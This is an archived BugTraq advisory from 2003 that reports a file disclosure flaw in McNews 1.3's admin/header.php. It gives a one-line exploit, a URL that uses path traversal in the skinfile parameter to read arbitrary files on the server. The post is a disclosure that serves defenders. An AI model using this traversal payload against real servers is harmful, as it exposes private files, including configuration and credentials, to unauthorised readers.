BugTraq
McNews 1.3 : File Disclosure Vulnerability Sep 26 2003 08:40AM
Sebastien Lelarge (sebastien lelarge tremplin-utc net)


The vulnerable script is <mcnews_root>/admin/header.php

Exploit it with : header.php?voir=1&skinfile=skin/../../../file/to/view

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus